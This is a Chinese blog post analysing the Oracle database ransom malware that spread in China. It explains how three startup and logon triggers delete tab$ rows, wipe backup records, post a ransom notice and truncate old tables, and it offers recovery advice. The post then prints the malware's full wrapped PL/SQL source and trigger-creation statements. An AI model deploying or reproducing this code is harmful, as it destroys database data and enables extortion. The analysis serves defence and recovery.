在10月左右国内爆发了一阵子关于Oracle数据库锁定以及删除的比特币勒索事件,笔者历经数次此类问题,客户深受其害,在没有备份的情况下有些数据救回来了有些则被病毒恶意删除了,在本文里病毒代码不作解释公开,仅作解析原理以及学习交流使用.
该恶意脚本通过触发器的方式来实现对数据库的破坏,分为三部分:
DBMS_SUPPORT_INTERNAL
该触发器为数据库启动触发,启动后执行如下操作
- 检查数据库创建时间是否大于1200天,如果好过1200则创建orachk表来备份tab$表,此后删除tab$中除掉owner#为0和38的行.
- 接着通过dbms_backup_restore清理整个数据库的备份信息
- 然后通过dbms_system在alert日志中写上如上图的相关告警提示信息
DBMS_SYSTEM_INTERNAL
该触发器为数据库登陆触发,该触发器作用主要是是对不在表空间system,example,sysaux表空间的对象进行统计信息最后分析时间的对比,如果存在1200天以上的表未做统计信息分析则会判断下是否属于C89239的客户端的进程,如果不是则出发事件告警.告知登陆用户数据库被锁定.
DBMS_CORE_INTERNAL
该触发器为数据库用户登陆触发,为整个恶意脚本中最严重的破坏部分.在用户登陆后,会触发对归属于当前登陆用户的不在表空间system,example,sysaux表空间的表并且过滤掉带$的表以及orachk备份表,簇表进行统计信息收集的时间进行收集对比,如果存在超过1200天未收集统计信息,则truncate对应的表(不是全部表truncate,还是有条件的). 然后告警.
处理办法:
基于该问题的解决办法,有备份则备份恢复,没备份则通过Mdata或者dul恢复被truncate.当然还涉及到基表tab$表的的一些情况,需要根据tab$是否被清理,系统中离上次收集统计信息超过1200天的表有哪些等来做一些条件判断. orachk的备份表可以起到比较重要的作用.
该脚本原文:(可以用本站的plsql反解密工具进行解密.)
create or replace procedure “DBMS_SUPPORT_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
6f2 467
N/V8HjJRfuLs0jji4Nsz59BipVwwg0NcTPZ3Z46BQqqVlW/f91N+YSzjDJV+ZQUuE5EGR366
EJMlfvzRE58yt6OZc4KSTcpvVvL2DbSsleURlQZtls3WJA5pz/M0+jPWnkT4FjkVuBeLaMdy
ALf02U3cX8XvuLMWMTTUCuIMWE1YSspHs1ZXI9Gs+vtlQBvjnlOe6gd3z3/W+1hQ9NVZ/I6C
j2V5tDzc6HzQPhRRxbi+yLtemcB/XmZq6LevX25Uoh+PX5PxDirtUX/0ml29rwGQ83Z0yI00
bsjMfZuniA042B8dOxpSCVkldQHIJT32hCeo0PjpAho6+jazCqyp3gXbfFJbkXPcj5X72xmR
BKYB7IeI19FWpSf0bYk033EqsunX2ZmZMbnifUrBWy/XgFJ8so/pL0Q4j8a4veh7zSmRqAf4
IwPePjnF5qtZiWrhEjg05kstoQ2gISXW5md7jhB6nMXypgSk+31ThFQoV8MayDQlv+mnqAFQ
JnkTUTBAepZf1v/MLT/vpbq/g9dYU7px5vGjcSXSs+W6C0aZl1rLgGbSwt7uTUlBoeXFTx/M
V3hRu2jj+dFRWYh1oQt3ceLIuyw2bQl4zT8jPyDANYpoFnjUWMienpHVLnVuO7HBlHUgcp8O
uWsPh47dduwxpeQraQf6Qo94VnBch/vzMOueRXpeB/t1ftQiny8G3zCBI0njZmlbW7vEd5tG
TMVovGXAnSErHC9zg24j9nDbmCowZGq9Wj/xLF6i11NClsiUelde9IJSam2YJusJEcZOCHbA
61rn6O3JMEfTVbLaA8yGI2VYTgVUs3YraHSE59ZXNYT26ABbss/ze9q2YXM83hC+fsRMF/UB
CyDehlVk6poPu0iqh3GtYz8ewTyr3U4Huiw5h3ZWSLy1YVPtoJIy/pWvJcSQwapjtTH5sFtP
QXlkijT3+59BVrskc26lkH1zm7lDYOzNrpClUhJzzfyG14Hw7ZCADPYTJKck4rlIc3omb8sB
88Za8K4d6FhaDHeGlAPPzvR2h4QEj7BDj6eGBWuZ5d7i9lhFpxlcRn+XGrnpY+SYpKy1+Nuw
YF6gWAi2A5DlAe5yl38YHz8dXJEBsA==
/
PROMPT Create “DBMS_SUPPORT_INTERNAL ”
create or replace trigger “DBMS_SUPPORT_INTERNAL ”
after startup on database
begin
“DBMS_SUPPORT_INTERNAL “;
end;
/
CREATE OR REPLACE procedure “DBMS_SYSTEM_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
3a5 384
D8WvgOUUGiT5i6HOYNlx/FlHr5Ywg/AJDwwFaY6aA08GR5wUL2MmCn3bLQVdPGCbIPrwCrxG
oPo8ULTCGw2SUmHGstQ2bVHHt5N1tC6gC5Wc7X1qIqnKvHSft0hv/qDdAsf/1zpzrcGr6NHg
+t9/XwxCPcDYAW1wPfcqrC6yPqX+/Vsxqx3IL6/hULowV5aRixEC6FMU4NaFRaddQPRvwyHl
zBZYS1SPOGYTWNPoU74teofIKpLVVFSvZvt5oTj0uePpkcKJJO51aQHwXMjpdqJcVmRw9IbO
dJx8HqqijllMRBoWyzVCRLqloOMmbTjgyvPaqwl/EXtrLt1lhAt0TzaF0bOmnMgnFnXu0zHK
H6kuNyzXmTF0Y2bpbhhZIH5q3SZXgHcpEfJGAX5tm94MdChf5Qyf4dtVTxfbWDGKd4oU0bN6
eSz7+3VaYXykk5fnVLcWzlXOn0ig8qTe+s8g+yWfW4hAZm0WpNHfLlWRB7dDWLkBsBLkHmrQ
0B9zA9cAHvTh6HmUN865J7vov6ZLc+X+KsTH7ULSQ88DmjG1Py3HVa0sftZ8AO2Htp5sKk8Q
IgNTQQ/FXYUdd28rwG25l9KjtxjJxOLcD0FIgf45T1eprwVVCr8XvU8Z9dVrKKdWENo/mi6z
UR84A5RcLGRFNVeT3tgVobWlTvkTjGq5Q48ywY99wbn6+em7yRpvDgRnvkNC/Xp+IaMupWi0
Ypj3KHl4rOW6JjociXiPSu8cZp25NcuXNXHeNjLj/Y8jh+vQUbWbXqGlPqKO26/scgimuQO0
IOZxMoao9cUBXZaoWlZVwuQetwffXHZGqEY/bvWEOxkRhI0cg4PlB/DyzeKd+u6GDB876yoT
PBEx7DsW0gARJWjtmk3EITM=
/
CREATE OR REPLACE TRIGGER “DBMS_SYSTEM_INTERNAL ”
AFTER LOGON ON DATABASE
BEGIN
“DBMS_SYSTEM_INTERNAL “;
END;
/
create or replace procedure DBMS_STANDARD_FUN9 wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
69 9a
8qPs2BvPyop5gdYsYiM6d3OX/X4wg6RtrcupfHQ2JkICDBEpacVJ33D0BF12Udm1qjWJ3p8a
PTQzNujgdF0LJz6M06sNjH28d2D11hbDoLhreR50pKELek9RaqbOhmll1tuFFLR5oEho2F3o
LOPeiFY=
/
create or replace procedure “DBMS_CORE_INTERNAL ” wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
73c 4c4
SlwavX1476MVTf7FOLHh3KBF3Nkwg81eTPb9gI7NAz+VeRF1VcLz8dNYVxVjjD0Woxede4IK
xT+TPCVhb6dsZjsGBNIXg8Zv8rJ/vaFVQNRptsSoUib6DA9uB/mpZ4UMa7/JedXRPtK+w0sR
uVW+/kES/zHIW9/2om6vAmBVti2kuG/avJFosNFu+dGp756mzTCtTQt9gIeQCKvJq8PCZY8Q
U2HD0SZfyMPmE8CY6UKVTYnybAPoDO0O876KpGRL+x60VoncjwpXXdJFgMGtRoZa1o1iU8M+
TNHqMvekUvO4yOLvFKwdr3HJDM4v7HqlytNfxvE8TBuP629qzfUv+HcLj1vTccE5HcAI1m02
TZrOB8T7sJ8e1PqUBfA2wvEPFTc/XUUN5pBMv89Gx3uaIJhAdOANa6hInulybHIIspyeiF4a
0oue9nXoXGWU3q+9qquCMlW/Z2+oDZrmi85wL35WWIBWMg7MWyjYhO1QAaJeHdy2dFXOjGNl
wn6sfn+y0+xaWIzsXTS+NS/8NKci45EE+mYiLR7OR8qTwntahjjC9+aq4TbJgrBXF8VPY4G8
YaLCCPW0LsKO9fPIMVnefBP3Zq0PKxMoooKU6cP+aUzNVpnj/wsMnTVC70hg+VE14+xu+J61
fyH226y2n65ptDcHeZuChA13yU6F3jwOuPwBldyOQFmZRj+AZL8aNY5xi8QtgvqQ8llOc2zg
D0zYcYdWwsvUQm2CZftXMjaEtUETw1eC0cnMoQ+I5NhanNshdEzG6INVX06p/b4NYsL+wBe7
+k+atflqCO5OzQcGth8wFKPK65GGj9ev76kSDxzkCe21IxK1wR8FB9qYnaSaqu1OBn0ciR9v
udicE6Rkhzrk/JuQI5iTjep9yUJjRW7YVmgc72mGuQoXD3qYEs6lfYC2j30TW2S8EOKLRIYa
bey9sAget7sz9cT6O68we5P4MO8pKBhVszl6AM/k67mx+ND+hxwQDU4RtdBbrr/QKBlHs+Gg
kkt7zYFhVrSrLsZQDFC9+hQC15Hh9qG/AM2v/G9uBYWsoXuKNZQr+JO/dyzm36wasf2wt/qd
g7AKkgttoSQemtwumco6VgzGyDtskxmjhFi7sDlNjf/o5BCumd/zUqp8qTXsJidULErfOLIs
VpDLW4y5kjpzGDqAsALLacnR+R/4JGJh02GpmiPN7Z2mGzsg1Q==
/
CREATE OR REPLACE TRIGGER “DBMS_CORE_INTERNAL ”
AFTER LOGON ON SCHEMA
BEGIN
“DBMS_CORE_INTERNAL “;
END;
/
更详细的解释可以百度搜索.
损人不利己的事情还是要敬而远之.做一个有正能量的开发人员
